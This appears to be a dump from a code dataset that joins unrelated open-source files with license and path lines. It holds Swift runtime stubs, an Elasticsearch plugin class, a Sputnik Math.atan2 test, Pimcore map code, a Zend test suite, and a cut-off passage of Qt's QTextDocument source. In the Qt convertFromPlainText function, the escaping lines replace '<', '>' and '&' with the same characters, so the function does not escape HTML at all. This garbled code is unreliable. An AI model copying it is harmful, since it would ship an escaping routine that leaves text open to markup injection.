SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSDMn[1] = {0};
// Set
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ssSeVMn[1] = {0};
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sShMn[1] = {0};
// Bool
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSbMn[1] = {0};
// Binary Floating Point
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSBMp[1] = {0};
// Double
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSdMn[1] = {0};
// RandomNumberGenerator
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSGMp[1] = {0};
// Int
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSiMn[1] = {0};
// DefaultIndicis
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSIMn[1] = {0};
// Character
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSJMn[1] = {0};
// Numeric
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSjMp[1] = {0};
// RandomAccessCollection
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSkMp[1] = {0};
// BidirectionalCollection
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSKMp[1] = {0};
// RangeReplacementCollection
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSmMp[1] = {0};
// MutationCollection
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSMMp[1] = {0};
// Range
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSnMn[1] = {0};
// ClosedRange
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSNMn[1] = {0};
// ObjectIdentifier
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSOMn[1] = {0};
// UnsafeMutablePointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSpMn[1] = {0};
// Optional
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSqMn[1] = {0};
// Equatable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSQMp[1] = {0};
// UnsafeMutableBufferPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSrMn[1] = {0};
// UnsafeBufferPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSRMn[1] = {0};
// String
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSSMn[1] = {0};
// Sequence
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSTMp[1] = {0};
// UInt
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSuMn[1] = {0};
// UnsignedInteger
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSUMp[1] = {0};
// UnsafeMutableRawPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSvMn[1] = {0};
// Strideable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSxMp[1] = {0};
// RangeExpression
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSXMp[1] = {0};
// StringProtocol
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSyMp[1] = {0};
// RawRepresentable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSYMp[1] = {0};
// BinaryInteger
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSzMp[1] = {0};
// Decodable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSeMp[1] = {0};
// Encodable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSEMp[1] = {0};
// Float
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSfMn[1] = {0};
// FloatingPoint
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSFMp[1] = {0};
// Collection
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSlMp[1] = {0};
// Comparable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSLMp[1] = {0};
// UnsafePointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSPMn[1] = {0};
// Substring
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSsMn[1] = {0};
// IteratorProtocol
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sStMp[1] = {0};
// UnsafeRawPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSVMn[1] = {0};
// UnsafeMutableRawBufferPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSwMn[1] = {0};
// UnsafeRawBufferPointer
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSWMn[1] = {0};
// SignedInteger
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $sSZMp[1] = {0};
// Mirror
// protocol witness table for Swift._ClassSuperMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss17_ClassSuperMirrorVs01_C0sWP[1] = {0};
// type metadata accessor for Swift._ClassSuperMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss17_ClassSuperMirrorVMa[1] = {0};
// protocol witness table for Swift._MetatypeMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss15_MetatypeMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._MetatypeMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss15_MetatypeMirrorVMa[1] = {0};
// protocol witness table for Swift._EnumMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss11_EnumMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._EnumMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss11_EnumMirrorVMa[1] = {0};
// protocol witness table for Swift._OpaqueMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss13_OpaqueMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._OpaqueMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss13_OpaqueMirrorVMa[1] = {0};
// protocol witness table for Swift._StructMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss13_StructMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._StructMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss13_StructMirrorVMa[1] = {0};
// protocol witness table for Swift._TupleMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss12_TupleMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._TupleMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss12_TupleMirrorVMa[1] = {0};
// protocol witness table for Swift._ClassMirror : Swift._Mirror in Swift
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss12_ClassMirrorVs01_B0sWP[1] = {0};
// type metadata accessor for Swift._ClassMirror
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss12_ClassMirrorVMa[1] = {0};
// KeyPath
SWIFT_RUNTIME_STDLIB_SPI
const HeapObject *swift_getKeyPathImpl(const void *p,
const void *e,
const void *a) {
abort();
}
// playground print hook
struct swift_closure {
void *fptr;
HeapObject *context;
};
SWIFT_RUNTIME_STDLIB_API SWIFT_CC(swift) swift_closure
MANGLE_SYM(s20_playgroundPrintHookySScSgvg)() {
return {nullptr, nullptr};
}
// ObjectiveC Bridgeable
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss21_ObjectiveCBridgeableMp[1] = {0};
// Key Path
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss7KeyPathCMo[1] = {0};
// Boxing
SWIFT_RUNTIME_STDLIB_INTERNAL
const long long $ss12__SwiftValueCMn[1] = {0};
| apache-2.0 |
jmluy/elasticsearch | x-pack/plugin/graph/src/main/java/org/elasticsearch/xpack/graph/Graph.java | 3029 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0; you may not use this file except in compliance with the Elastic License
* 2.0.
*/
package org.elasticsearch.xpack.graph;
import org.elasticsearch.action.ActionRequest;
import org.elasticsearch.action.ActionResponse;
import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver;
import org.elasticsearch.cluster.node.DiscoveryNodes;
import org.elasticsearch.common.settings.ClusterSettings;
import org.elasticsearch.common.settings.IndexScopedSettings;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.settings.SettingsFilter;
import org.elasticsearch.license.License;
import org.elasticsearch.license.LicensedFeature;
import org.elasticsearch.plugins.ActionPlugin;
import org.elasticsearch.plugins.Plugin;
import org.elasticsearch.rest.RestController;
import org.elasticsearch.rest.RestHandler;
import org.elasticsearch.xpack.core.XPackSettings;
import org.elasticsearch.xpack.core.action.XPackInfoFeatureAction;
import org.elasticsearch.xpack.core.action.XPackUsageFeatureAction;
import org.elasticsearch.xpack.core.graph.action.GraphExploreAction;
import org.elasticsearch.xpack.graph.action.TransportGraphExploreAction;
import org.elasticsearch.xpack.graph.rest.action.RestGraphAction;
import java.util.Arrays;
import java.util.List;
import java.util.function.Supplier;
import static java.util.Collections.emptyList;
import static java.util.Collections.singletonList;
public class Graph extends Plugin implements ActionPlugin {
public static final LicensedFeature.Momentary GRAPH_FEATURE = LicensedFeature.momentary(null, "graph", License.OperationMode.PLATINUM);
protected final boolean enabled;
public Graph(Settings settings) {
this.enabled = XPackSettings.GRAPH_ENABLED.get(settings);
}
@Override
public List<ActionHandler<? extends ActionRequest, ? extends ActionResponse>> getActions() {
var usageAction = new ActionHandler<>(XPackUsageFeatureAction.GRAPH, GraphUsageTransportAction.class);
var infoAction = new ActionHandler<>(XPackInfoFeatureAction.GRAPH, GraphInfoTransportAction.class);
if (false == enabled) {
return Arrays.asList(usageAction, infoAction);
}
return Arrays.asList(new ActionHandler<>(GraphExploreAction.INSTANCE, TransportGraphExploreAction.class), usageAction, infoAction);
}
@Override
public List<RestHandler> getRestHandlers(
Settings settings,
RestController restController,
ClusterSettings clusterSettings,
IndexScopedSettings indexScopedSettings,
SettingsFilter settingsFilter,
IndexNameExpressionResolver indexNameExpressionResolver,
Supplier<DiscoveryNodes> nodesInCluster
) {
if (false == enabled) {
return emptyList();
}
return singletonList(new RestGraphAction());
}
}
| apache-2.0 |
Nogrod/jint | Jint.Tests.Ecma/TestCases/ch15/15.8/15.8.2/15.8.2.5/S15.8.2.5_A17.js | 758 | // Copyright 2009 the Sputnik authors. All rights reserved.
/**
* If y<0 and y is finite and x is equal to -Infinity, Math.atan2(y,x) is an implementation-dependent approximation to -PI
*
* @path ch15/15.8/15.8.2/15.8.2.5/S15.8.2.5_A17.js
* @description Checking if Math.atan2(y,x) is an approximation to -PI, where y<0 and y is finite and x is equal to -Infinity
*/
$INCLUDE("math_precision.js");
$INCLUDE("math_isequal.js");
// CHECK#1
x = -Infinity;
y = new Array();
y[0] = -0.000000000000001;
y[1] = -1;
y[2] = -1.7976931348623157E308; //largest (by module) finite number
ynum = 3;
for (i = 0; i < ynum; i++)
{
if (!isEqual(Math.atan2(y[i],x), -Math.PI))
$FAIL("#1: Math.abs(Math.atan2(" + y[i] + ", " + x + ") + Math.PI) >= " + prec);
}
| bsd-2-clause |
yasarkunduz/pimcore | pimcore/static/js/pimcore/object/tags/geo/abstract.js | 3751 | /**
* Pimcore
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://www.pimcore.org/license
*
* @copyright Copyright (c) 2009-2014 pimcore GmbH (http://www.pimcore.org)
* @license http://www.pimcore.org/license New BSD License
*/
/*global google */
pimcore.registerNS('pimcore.object.tags.geo.abstract');
pimcore.object.tags.geo.abstract = Class.create(pimcore.object.tags.abstract, {
initialize: function (data, fieldConfig) {
this.data = data;
this.fieldConfig = fieldConfig;
// extend google maps to support the getBounds() method
if (!google.maps.Polygon.prototype.getBounds) {
google.maps.Polygon.prototype.getBounds = function(latLng) {
var bounds = new google.maps.LatLngBounds();
var paths = this.getPaths();
var path;
for (var p = 0; p < paths.getLength(); p++) {
path = paths.getAt(p);
for (var i = 0; i < path.getLength(); i++) {
bounds.extend(path.getAt(i));
}
}
return bounds;
};
}
},
getGridColumnConfig: function(field) {
return {
header: ts(field.label),
width: 150,
sortable: false,
dataIndex: field.key,
renderer: function (key, value, metaData, record) {
return t('not_supported');
}.bind(this, field.key)
};
},
getLayoutShow: function () {
this.component = this.getLayoutEdit();
this.component.disable();
return this.component;
},
updatePreviewImage: function () {
var width = Ext.get('google_maps_container_' + this.mapImageID).getWidth();
if (width > 640) {
width = 640;
}
if (width < 10) {
window.setTimeout(this.updatePreviewImage.bind(this), 1000);
}
Ext.get('google_maps_container_' + this.mapImageID).dom.innerHTML =
'<img align="center" width="' + width + '" height="300" src="' +
this.getMapUrl(width) + '" />';
},
geocode: function () {
if (!this.geocoder) {
return;
}
var address = this.searchfield.getValue();
this.geocoder.geocode( { 'address': address}, function(results, status) {
if (status === google.maps.GeocoderStatus.OK) {
this.gmap.setCenter(results[0].geometry.location, 16);
this.gmap.setZoom(14);
}
}.bind(this));
},
getBoundsZoomLevel: function (bounds, mapDim) {
var WORLD_DIM = { height: 256, width: 256 };
var ZOOM_MAX = 21;
function latRad(lat) {
var sin = Math.sin(lat * Math.PI / 180);
var radX2 = Math.log((1 + sin) / (1 - sin)) / 2;
return Math.max(Math.min(radX2, Math.PI), -Math.PI) / 2;
}
function zoom(mapPx, worldPx, fraction) {
return Math.floor(Math.log(mapPx / worldPx / fraction) / Math.LN2);
}
var ne = bounds.getNorthEast();
var sw = bounds.getSouthWest();
var latFraction = (latRad(ne.lat()) - latRad(sw.lat())) / Math.PI;
var lngDiff = ne.lng() - sw.lng();
var lngFraction = ((lngDiff < 0) ? (lngDiff + 360) : lngDiff) / 360;
var latZoom = zoom(mapDim.height, WORLD_DIM.height, latFraction);
var lngZoom = zoom(mapDim.width, WORLD_DIM.width, lngFraction);
return Math.min(latZoom, lngZoom, ZOOM_MAX);
}
});
| bsd-3-clause |
gencer/zf1 | extras/tests/ZendX/JQuery/Form/AllTests.php | 1555 | <?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category ZendX
* @package ZendX_JQuery
* @subpackage View
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: AllTests.php 11232 2008-09-05 08:16:33Z beberlei $
*/
require_once dirname(__FILE__)."/../../../TestHelper.php";
if (!defined('PHPUnit_MAIN_METHOD')) {
define('PHPUnit_MAIN_METHOD', 'ZendX_JQuery_Form_AllTests::main');
}
require_once "DecoratorTest.php";
require_once "ElementTest.php";
class ZendX_JQuery_Form_AllTests
{
public static function main()
{
PHPUnit_TextUI_TestRunner::run(self::suite());
}
public static function suite()
{
$suite = new PHPUnit_Framework_TestSuite('Zend Framework - ZendX_JQuery - Forms');
$suite->addTestSuite('ZendX_JQuery_Form_DecoratorTest');
$suite->addTestSuite('ZendX_JQuery_Form_ElementTest');
return $suite;
}
}
if (PHPUnit_MAIN_METHOD == 'ZendX_JQuery_Form_AllTests::main') {
ZendX_JQuery_Form_AllTests::main();
} | bsd-3-clause |
TanguyPatte/phantomjs-packaging | src/qt/qtbase/src/gui/text/qtextdocument.cpp | 98728 | /****************************************************************************
**
** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtGui module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qtextdocument.h"
#include <qtextformat.h>
#include "qtextdocumentlayout_p.h"
#include "qtextdocumentfragment.h"
#include "qtextdocumentfragment_p.h"
#include "qtexttable.h"
#include "qtextlist.h"
#include <qdebug.h>
#include <qregexp.h>
#include <qvarlengtharray.h>
#include <qtextcodec.h>
#include <qthread.h>
#include <qcoreapplication.h>
#include <qmetaobject.h>
#include "qtexthtmlparser_p.h"
#include "qpainter.h"
#include <qfile.h>
#include <qfileinfo.h>
#include <qdir.h>
#include "qfont_p.h"
#include "private/qdataurl_p.h"
#include "qtextdocument_p.h"
#include <private/qabstracttextdocumentlayout_p.h>
#include "qpagedpaintdevice.h"
#include "private/qpagedpaintdevice_p.h"
#include <limits.h>
QT_BEGIN_NAMESPACE
Q_CORE_EXPORT unsigned int qt_int_sqrt(unsigned int n);
/*!
Returns \c true if the string \a text is likely to be rich text;
otherwise returns \c false.
This function uses a fast and therefore simple heuristic. It
mainly checks whether there is something that looks like a tag
before the first line break. Although the result may be correct
for common cases, there is no guarantee.
This function is defined in the \c <QTextDocument> header file.
*/
bool Qt::mightBeRichText(const QString& text)
{
if (text.isEmpty())
return false;
int start = 0;
while (start < text.length() && text.at(start).isSpace())
++start;
// skip a leading <?xml ... ?> as for example with xhtml
if (text.mid(start, 5) == QLatin1String("<?xml")) {
while (start < text.length()) {
if (text.at(start) == QLatin1Char('?')
&& start + 2 < text.length()
&& text.at(start + 1) == QLatin1Char('>')) {
start += 2;
break;
}
++start;
}
while (start < text.length() && text.at(start).isSpace())
++start;
}
if (text.mid(start, 5).toLower() == QLatin1String("<!doc"))
return true;
int open = start;
while (open < text.length() && text.at(open) != QLatin1Char('<')
&& text.at(open) != QLatin1Char('\n')) {
if (text.at(open) == QLatin1Char('&') && text.mid(open+1,3) == QLatin1String("lt;"))
return true; // support desperate attempt of user to see <...>
++open;
}
if (open < text.length() && text.at(open) == QLatin1Char('<')) {
const int close = text.indexOf(QLatin1Char('>'), open);
if (close > -1) {
QString tag;
for (int i = open+1; i < close; ++i) {
if (text[i].isDigit() || text[i].isLetter())
tag += text[i];
else if (!tag.isEmpty() && text[i].isSpace())
break;
else if (!tag.isEmpty() && text[i] == QLatin1Char('/') && i + 1 == close)
break;
else if (!text[i].isSpace() && (!tag.isEmpty() || text[i] != QLatin1Char('!')))
return false; // that's not a tag
}
#ifndef QT_NO_TEXTHTMLPARSER
return QTextHtmlParser::lookupElement(tag.toLower()) != -1;
#else
return false;
#endif // QT_NO_TEXTHTMLPARSER
}
}
return false;
}
/*!
\fn QString Qt::convertFromPlainText(const QString &plain, WhiteSpaceMode mode)
Converts the plain text string \a plain to an HTML-formatted
paragraph while preserving most of its look.
\a mode defines how whitespace is handled.
This function is defined in the \c <QTextDocument> header file.
\sa escape(), mightBeRichText()
*/
QString Qt::convertFromPlainText(const QString &plain, Qt::WhiteSpaceMode mode)
{
int col = 0;
QString rich;
rich += QLatin1String("<p>");
for (int i = 0; i < plain.length(); ++i) {
if (plain[i] == QLatin1Char('\n')){
int c = 1;
while (i+1 < plain.length() && plain[i+1] == QLatin1Char('\n')) {
i++;
c++;
}
if (c == 1)
rich += QLatin1String("<br>\n");
else {
rich += QLatin1String("</p>\n");
while (--c > 1)
rich += QLatin1String("<br>\n");
rich += QLatin1String("<p>");
}
col = 0;
} else {
if (mode == Qt::WhiteSpacePre && plain[i] == QLatin1Char('\t')){
rich += QChar(0x00a0U);
++col;
while (col % 8) {
rich += QChar(0x00a0U);
++col;
}
}
else if (mode == Qt::WhiteSpacePre && plain[i].isSpace())
rich += QChar(0x00a0U);
else if (plain[i] == QLatin1Char('<'))
rich += QLatin1String("<");
else if (plain[i] == QLatin1Char('>'))
rich += QLatin1String(">");
else if (plain[i] == QLatin1Char('&'))
rich += QLatin1String("&");
else
rich += plain[i];
++col;
}
}
if (col != 0)
rich += QLatin1String("</p>");
return rich;
}
#ifndef QT_NO_TEXTCODEC
/*!
\internal
This function is defined in the \c <QTextDocument> header file.
*/
QTextCodec *Qt::codecForHtml(const QByteArray &ba)
{
return QTextCodec::codecForHtml(ba);
}
#endif
/*!
\class QTextDocument
\reentrant
\inmodule QtGui
\brief The QTextDocument class holds formatted text.
\ingroup richtext-processing
QTextDocument is a container for structured rich text documents, providing
support for styled text and various types of document elements, such as
lists, tables, frames, and images.
They can be created for use in a QTextEdit, or used independently.
Each document element is described by an associated format object. Each
format object is treated as a unique object by QTextDocuments, and can be
passed to objectForFormat() to obtain the document element that it is
applied to.
A QTextDocument can be edited programmatically using a QTextCursor, and
its contents can be examined by traversing the document structure. The
entire document structure is stored as a hierarchy of document elements
beneath the root frame, found with the rootFrame() function. Alternatively,
if you just want to iterate over the textual contents of the document you
can use begin(), end(), and findBlock() to retrieve text blocks that you
can examine and iterate over.
The layout of a document is determined by the documentLayout();
you can create your own QAbstractTextDocumentLayout subclass and
set it using setDocumentLayout() if you want to use your own
layout logic. The document's title and other meta-information can be
obtained by calling the metaInformation() function. For documents that
are exposed to users through the QTextEdit class, the document title
is also available via the QTextEdit::documentTitle() function.
The toPlainText() and toHtml() convenience functions allow you to retrieve the
contents of the document as plain text and HTML.
The document's text can be searched using the find() functions.
Undo/redo of operations performed on the document can be controlled using
the setUndoRedoEnabled() function. The undo/redo system can be controlled
by an editor widget through the undo() and redo() slots; the document also
provides contentsChanged(), undoAvailable(), and redoAvailable() signals
that inform connected editor widgets about the state of the undo/redo
system. The following are the undo/redo operations of a QTextDocument:
\list
\li Insertion or removal of characters. A sequence of insertions or removals
within the same text block are regarded as a single undo/redo operation.
\li Insertion or removal of text blocks. Sequences of insertion or removals
in a single operation (e.g., by selecting and then deleting text) are
regarded as a single undo/redo operation.
\li Text character format changes.
\li Text block format changes.
\li Text block group format changes.
\endlist
\sa QTextCursor, QTextEdit, {Rich Text Processing}, {Text Object Example}
*/
/*!
\property QTextDocument::defaultFont
\brief the default font used to display the document's text
*/
/*!
\property QTextDocument::defaultTextOption
\brief the default text option will be set on all \l{QTextLayout}s in the document.
When \l{QTextBlock}s are created, the defaultTextOption is set on their
QTextLayout. This allows setting global properties for the document such as the
default word wrap mode.
*/
/*!
Constructs an empty QTextDocument with the given \a parent.
*/
QTextDocument::QTextDocument(QObject *parent)
: QObject(*new QTextDocumentPrivate, parent)
{
Q_D(QTextDocument);
d->init();
}
/*!
Constructs a QTextDocument containing the plain (unformatted) \a text
specified, and with the given \a parent.
*/
QTextDocument::QTextDocument(const QString &text, QObject *parent)
: QObject(*new QTextDocumentPrivate, parent)
{
Q_D(QTextDocument);
d->init();
QTextCursor(this).insertText(text);
}
/*!
\internal
*/
QTextDocument::QTextDocument(QTextDocumentPrivate &dd, QObject *parent)
: QObject(dd, parent)
{
Q_D(QTextDocument);
d->init();
}
/*!
Destroys the document.
*/
QTextDocument::~QTextDocument()
{
}
/*!
Creates a new QTextDocument that is a copy of this text document. \a
parent is the parent of the returned text document.
*/
QTextDocument *QTextDocument::clone(QObject *parent) const
{
Q_D(const QTextDocument);
QTextDocument *doc = new QTextDocument(parent);
QTextCursor(doc).insertFragment(QTextDocumentFragment(this));
doc->rootFrame()->setFrameFormat(rootFrame()->frameFormat());
QTextDocumentPrivate *priv = doc->d_func();
priv->title = d->title;
priv->url = d->url;
priv->pageSize = d->pageSize;
priv->indentWidth = d->indentWidth;
priv->defaultTextOption = d->defaultTextOption;
priv->setDefaultFont(d->defaultFont());
priv->resources = d->resources;
priv->cachedResources.clear();
#ifndef QT_NO_CSSPARSER
priv->defaultStyleSheet = d->defaultStyleSheet;
priv->parsedDefaultStyleSheet = d->parsedDefaultStyleSheet;
#endif
return doc;
}
/*!
Returns \c true if the document is empty; otherwise returns \c false.
*/
bool QTextDocument::isEmpty() const
{
Q_D(const QTextDocument);
/* because if we're empty we still have one single paragraph as
* one single fragment */
return d->length() <= 1;
}
/*!
Clears the document.
*/
void QTextDocument::clear()
{
Q_D(QTextDocument);
d->clear();
d->resources.clear();
}
/*!
\since 4.2
Undoes the last editing operation on the document if undo is
available. The provided \a cursor is positioned at the end of the
location where the edition operation was undone.
See the \l {Overview of Qt's Undo Framework}{Qt Undo Framework}
documentation for details.
\sa undoAvailable(), isUndoRedoEnabled()
*/
void QTextDocument::undo(QTextCursor *cursor)
{
Q_D(QTextDocument);
const int pos = d->undoRedo(true);
if (cursor && pos >= 0) {
*cursor = QTextCursor(this);
cursor->setPosition(pos);
}
}
/*!
\since 4.2
Redoes the last editing operation on the document if \l{QTextDocument::isRedoAvailable()}{redo is available}.
The provided \a cursor is positioned at the end of the location where
the edition operation was redone.
*/
void QTextDocument::redo(QTextCursor *cursor)
{
Q_D(QTextDocument);
const int pos = d->undoRedo(false);
if (cursor && pos >= 0) {
*cursor = QTextCursor(this);
cursor->setPosition(pos);
}
}
/*! \enum QTextDocument::Stacks
\value UndoStack The undo stack.
\value RedoStack The redo stack.
\value UndoAndRedoStacks Both the undo and redo stacks.
*/
/*!
\since 4.7
Clears the stacks specified by \a stacksToClear.
This method clears any commands on the undo stack, the redo stack,
or both (the default). If commands are cleared, the appropriate
signals are emitted, QTextDocument::undoAvailable() or
QTextDocument::redoAvailable().
\sa QTextDocument::undoAvailable(), QTextDocument::redoAvailable()
*/
void QTextDocument::clearUndoRedoStacks(Stacks stacksToClear)
{
Q_D(QTextDocument);
d->clearUndoRedoStacks(stacksToClear, true);
}
/*!
\overload
*/
void QTextDocument::undo()
{
Q_D(QTextDocument);
d->undoRedo(true);
}
/*!
\overload
Redoes the last editing operation on the document if \l{QTextDocument::isRedoAvailable()}{redo is available}.
*/
void QTextDocument::redo()
{
Q_D(QTextDocument);
d->undoRedo(false);
}
/*!
\internal
Appends a custom undo \a item to the undo stack.
*/
void QTextDocument::appendUndoItem(QAbstractUndoItem *item)
{
Q_D(QTextDocument);
d->appendUndoItem(item);
}
/*!
\property QTextDocument::undoRedoEnabled
\brief whether undo/redo are enabled for this document
This defaults to true. If disabled, the undo stack is cleared and
no items will be added to it.
*/
void QTextDocument::setUndoRedoEnabled(bool enable)
{
Q_D(QTextDocument);
d->enableUndoRedo(enable);
}
bool QTextDocument::isUndoRedoEnabled() const
{
Q_D(const QTextDocument);
return d->isUndoRedoEnabled();
}
/*!
\property QTextDocument::maximumBlockCount
\since 4.2
\brief Specifies the limit for blocks in the document.
Specifies the maximum number of blocks the document may have. If there are
more blocks in the document that specified with this property blocks are removed
from the beginning of the document.
A negative or zero value specifies that the document may contain an unlimited
amount of blocks.
The default value is 0.
Note that setting this property will apply the limit immediately to the document
contents.
Setting this property also disables the undo redo history.
This property is undefined in documents with tables or frames.
*/
int QTextDocument::maximumBlockCount() const
{
Q_D(const QTextDocument);
return d->maximumBlockCount;
}
void QTextDocument::setMaximumBlockCount(int maximum)
{
Q_D(QTextDocument);
d->maximumBlockCount = maximum;
d->ensureMaximumBlockCount();
setUndoRedoEnabled(false);
}
/*!
\since 4.3
The default text option is used on all QTextLayout objects in the document.
This allows setting global properties for the document such as the default
word wrap mode.
*/
QTextOption QTextDocument::defaultTextOption() const
{
Q_D(const QTextDocument);
return d->defaultTextOption;
}
/*!
\since 4.3
Sets the default text option.
*/
void QTextDocument::setDefaultTextOption(const QTextOption &option)
{
Q_D(QTextDocument);
d->defaultTextOption = option;
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
/*!
\property QTextDocument::baseUrl
\since 5.3
\brief the base URL used to resolve relative resource URLs within the document.
Resource URLs are resolved to be within the same directory as the target of the base
URL meaning any portion of the path after the last '/' will be ignored.
\table
\header \li Base URL \li Relative URL \li Resolved URL
\row \li file:///path/to/content \li images/logo.png \li file:///path/to/images/logo.png
\row \li file:///path/to/content/ \li images/logo.png \li file:///path/to/content/images/logo.png
\row \li file:///path/to/content/index.html \li images/logo.png \li file:///path/to/content/images/logo.png
\row \li file:///path/to/content/images/ \li ../images/logo.png \li file:///path/to/content/images/logo.png
\endtable
*/
QUrl QTextDocument::baseUrl() const
{
Q_D(const QTextDocument);
return d->baseUrl;
}
void QTextDocument::setBaseUrl(const QUrl &url)
{
Q_D(QTextDocument);
if (d->baseUrl != url) {
d->baseUrl = url;
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
emit baseUrlChanged(url);
}
}
/*!
\since 4.8
The default cursor movement style is used by all QTextCursor objects
created from the document. The default is Qt::LogicalMoveStyle.
*/
Qt::CursorMoveStyle QTextDocument::defaultCursorMoveStyle() const
{
Q_D(const QTextDocument);
return d->defaultCursorMoveStyle;
}
/*!
\since 4.8
Sets the default cursor movement style to the given \a style.
*/
void QTextDocument::setDefaultCursorMoveStyle(Qt::CursorMoveStyle style)
{
Q_D(QTextDocument);
d->defaultCursorMoveStyle = style;
}
/*!
\fn void QTextDocument::markContentsDirty(int position, int length)
Marks the contents specified by the given \a position and \a length
